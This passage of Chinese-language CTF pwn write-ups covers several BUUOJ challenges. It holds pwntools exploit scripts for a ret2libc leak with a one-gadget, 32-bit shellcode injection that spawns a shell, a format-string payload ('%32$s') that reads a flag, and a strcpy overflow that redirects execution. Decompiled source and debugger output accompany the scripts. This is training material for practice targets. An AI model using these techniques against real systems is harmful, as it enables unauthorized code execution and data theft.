gdb.attach(r)
r.sendlineafter(b'Please input your name:', b'wyBTs')
pop_rdi_ret = 0x0000000000400983
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
have_fun = 0x400801
p = b'a' * 0x78 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(have_fun)
r.sendlineafter(b'Please input your code to save', p)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
ogg = 0x4f322 + libc_base
p = b'a' * 0x78 + p64(ogg)
r.sendlineafter(b'Please input your code to save', p)
r.interactive()
wdb_2018_3rd_soEasy
32
位的ret2shellcode
,存在栈溢出并且直接给出了输入变量的地址,直接写入shellcode
然后返回到这个变量即可
ssize_t vul()
{
char buf[72]; // [esp+0h] [ebp-48h] BYREF
printf("Hei,give you a gift->%p\n", buf);
puts("what do you want to do?");
return read(0, buf, 0x64u);
}
exp如下
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27732)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.recvuntil(b'0x')
addr = int(r.recv(8), 16)
p = asm(shellcraft.sh())
p = p.ljust((0x48 + 0x4), b'a') + p32(addr)
r.sendline(p)
r.interactive()
judgement_mna_2016
格式化字符串漏洞,直接分析题目
int init()
{
int result; // eax
char filename[9]; // [esp+13h] [ebp-15h] BYREF
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
strcpy(filename, "flag.txt");
setbuf(stdin, 0);
setbuf(stdout, 0);
result = load_flag(filename, flag, 64);
if ( !result )
{
printf("Loading '%s' failed...\n", filename);
_exit(0);
}
return result;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // esp
char format[64]; // [esp+0h] [ebp-4Ch] BYREF
unsigned int v6; // [esp+40h] [ebp-Ch]
int *p_argc; // [esp+44h] [ebp-8h]
p_argc = &argc;
v6 = __readgsdword(0x14u);
v3 = alloca(144);
printf("Flag judgment system\nInput flag >> ");
if ( getnline(format, 0x40) )
{
printf(format);
if ( !strcmp(format, flag) )
return puts("\nCorrect flag!!");
else
return puts("\nWrong flag...");
}
else
{
puts("Unprintable character");
return -1;
}
}
运行前先将flag
加载到bss
段的变量中,存在栈上的格式化字符串漏洞,直接fmtarg
找flag
偏移即可
pwndbg> stack
...
18:0060│ 0xffffcf80 —▸ 0xffffcfc8 —▸ 0xffffcff8 ◂— 0x1
19:0064│ 0xffffcf84 —▸ 0xf7fe7ae4 (_dl_runtime_resolve+20) ◂— pop edx
1a:0068│ 0xffffcf88 ◂— 0xfbad2488
1b:006c│ 0xffffcf8c —▸ 0xf7e65670 (__strchr_sse2_bsf) ◂— endbr32
1c:0070│ 0xffffcf90 —▸ 0x804a0a0 (flag) ◂— 'flag{test}'
1d:0074│ 0xffffcf94 —▸ 0xf7ffd990 ◂— 0x0
1e:0078│ 0xffffcf98 ◂— 0x1
1f:007c│ 0xffffcf9c —▸ 0x8048853 (load_flag+96) ◂— mov dword ptr [ebp - 0xc], eax
20:0080│ 0xffffcfa0 —▸ 0x804a0a0 (flag) ◂— 'flag{test}'
pwndbg> fmtarg 0xffffcf90
The index of format argument : 28 ("\%27$p")
pwndbg> fmtarg 0xffffcfa0
The index of format argument : 32 ("\%31$p")
不用exp直接发送即可
judgement_mna_2016 nc node4.buuoj.cn 27773
Flag judgment system
Input flag >> %32$s
flag{9e28c341-3dea-42b4-9bd0-90c557068e73}
Wrong flag...
picoctf_2018_buffer overflow
漏洞点出在vuln
中strcpy
将src
复制给dest
时可以栈溢出,程序一开始将flag
赋到flag
变量中,直接盲猜把返回地址填成flag
,然后就对了
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-Ch] [ebp-1Ch]
__gid_t v5; // [esp+0h] [ebp-10h]
FILE *stream; // [esp+4h] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, sigsegv_handler);
v5 = getegid();
setresgid(v5, v5, v5, v4);
if ( argc <= 1 )
{
puts("This program takes 1 argument.");
}
else
{
vuln((char *)argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
return 0;
}
char *__cdecl vuln(char *src)
{
char dest[24]; // [esp+0h] [ebp-18h] BYREF
return strcpy(dest, src);
}
exp(其中134520960
是flag
变量地址
CTFMan@out:~$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaa134520960
flag{2a8640a2-f9dc-438c-b5ea-31dd2bc13f1f}